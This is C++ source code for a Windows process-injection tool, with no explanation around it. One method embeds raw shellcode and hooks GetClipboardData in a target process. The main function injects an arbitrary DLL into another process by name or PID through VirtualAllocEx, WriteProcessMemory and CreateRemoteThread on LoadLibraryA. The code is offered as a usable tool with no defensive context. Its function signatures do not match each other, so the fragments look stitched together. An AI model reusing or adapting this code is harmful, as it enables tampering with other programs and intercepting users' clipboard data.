void IATHookInjector::do_inject() { char* handler = "\x55\x31\xdb\xeb\x55\x64\x8b\x7b" "\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b" "\x47\x08\x8b\x77\x20\x8b\x3f\x80" "\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b" "\x7a\x20\x01\xc7\x89\xdd\x8b\x34" "\xaf\x01\xc6\x45\x8b\x4c\x24\x04" "\x39\x0e\x75\xf2\x8b\x4c\x24\x08" "\x39\x4e\x04\x75\xe9\x8b\x7a\x24" "\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a" "\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01" "\xf8\xc3\x68\x4c\x69\x62\x72\x68" "\x4c\x6f\x61\x64\xe8\x9c\xff\xff" "\xff\x31\xc9\x66\xb9\x33\x32\x51" "\x68\x75\x73\x65\x72\x54\xff\xd0" "\x50\x68\x72\x6f\x63\x41\x68\x47" "\x65\x74\x50\xe8\x7d\xff\xff\xff" "\x59\x59\x59\x68\xf0\x86\x17\x04" "\xc1\x2c\x24\x04\x68\x61\x67\x65" "\x42\x68\x4d\x65\x73\x73\x54\x51" "\xff\xd0\x53\x53\x53\x53\xff\xd0" "\xb9\x07\x00\x00\x00\x58\xe2\xfd" "\x5d\xb8\xef\xbe\xad\xde\xff\xe0"; auto dwProcessId = GetProcessIdFromProcessName(m_ProcessName); HookFunction(dwProcessId, "user32.dll", "GetClipboardData", handler, 0x100); }
int main(int argc, char* argv[]) { DWORD dwProcessId = GetCurrentProcessId(); char szProcessName[256] = {0}; char szModuleName[MAX_PATH] = {0}; for (int i = 1; i < argc; i++) { if (_stricmp(argv[i], "-pid") == 0 && i < (argc - 1)) { dwProcessId = atoi(argv[i + 1]); } if (_stricmp(argv[i], "-name") == 0 && i < (argc - 1)) { strcpy_s(szProcessName, argv[i + 1]); } if (_stricmp(argv[i], "-dll") == 0 && i < (argc - 1)) { strcpy_s(szModuleName, argv[i + 1]); } } if (strlen(szModuleName) == 0) { printf("Module name is required...\n"); return 0; } if (strlen(szProcessName) == 0 && dwProcessId == GetCurrentProcessId()) { printf("Invalid parameters!\n"); return 0; } if (strlen(szProcessName) > 0) { if (dwProcessId == GetCurrentProcessId()) { // Only change the processid if it's not already set dwProcessId = GetProcessIdFromProcessName(szProcessName); if (dwProcessId == GetCurrentProcessId()) { printf("Failed to obtain process \"%s\"...\n", szProcessName); return 0; } } } HMODULE hKernel = LoadLibraryA("kernel32.dll"); DWORD64 dwLoadLibraryA = (DWORD64) GetProcAddress(hKernel, "LoadLibraryA") - (DWORD64) hKernel; printf("kernel32.dll: %016llX\n", hKernel); printf("LoadLibraryA: %016llX\n", dwLoadLibraryA); printf("Module Name: %s\n", szModuleName); char szCurrentModulePath[MAX_PATH] = {0}; GetModuleFileNameA(GetModuleHandle(NULL), szCurrentModulePath, MAX_PATH); for (size_t i = strlen(szCurrentModulePath); i > 0; i--) { if (szCurrentModulePath[ i ] == '\\') { szCurrentModulePath[ i + 1 ] = 0; break; } } strcat_s(szCurrentModulePath, szModuleName); printf("Full Path: %s\n", szCurrentModulePath); DWORD dwFileAttributes = GetFileAttributesA(szCurrentModulePath); if (dwFileAttributes == INVALID_FILE_ATTRIBUTES && GetLastError() == ERROR_FILE_NOT_FOUND) { printf("File not found...\n"); return 0; } printf("Injecting: %s\n", szCurrentModulePath); HMODULE hRemoteKernel = GetRemoteModuleHandleA(dwProcessId, "kernel32.dll"); if (hRemoteKernel == NULL) { printf("Failed to locate kernel32 in remote process...\n"); return 0; } printf("kernel32 (remote): 0x%016llX\n", hRemoteKernel); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProcess == INVALID_HANDLE_VALUE) { printf("Failed to locate remote process...\n"); return 0; } LPVOID lpModuleName = VirtualAllocEx(hProcess, NULL, strlen(szCurrentModulePath) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpModuleName == NULL) { printf("Failed to allocate module name in remote process...\n"); return 0; } if (WriteProcessMemory(hProcess, lpModuleName, szCurrentModulePath, strlen(szCurrentModulePath), NULL) == FALSE) { printf("Failed to write module name in remote process...\n"); return 0; } DWORD64 dwRemoteLoadLibraryAddress = ((DWORD64)hRemoteKernel + dwLoadLibraryA); printf("LoadLibraryA (remote): %016llX\n", dwRemoteLoadLibraryAddress); HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE) dwRemoteLoadLibraryAddress, lpModuleName, 0, 0); printf("Injecting... "); WaitForSingleObject(hThread, INFINITE); printf("Injected!\n"); return 0; }
bool IsProcessRunning(char * szProcessName) { // Simply return the value of GetProcessIdFromProcessName return GetProcessIdFromProcessName(szProcessName, NULL); }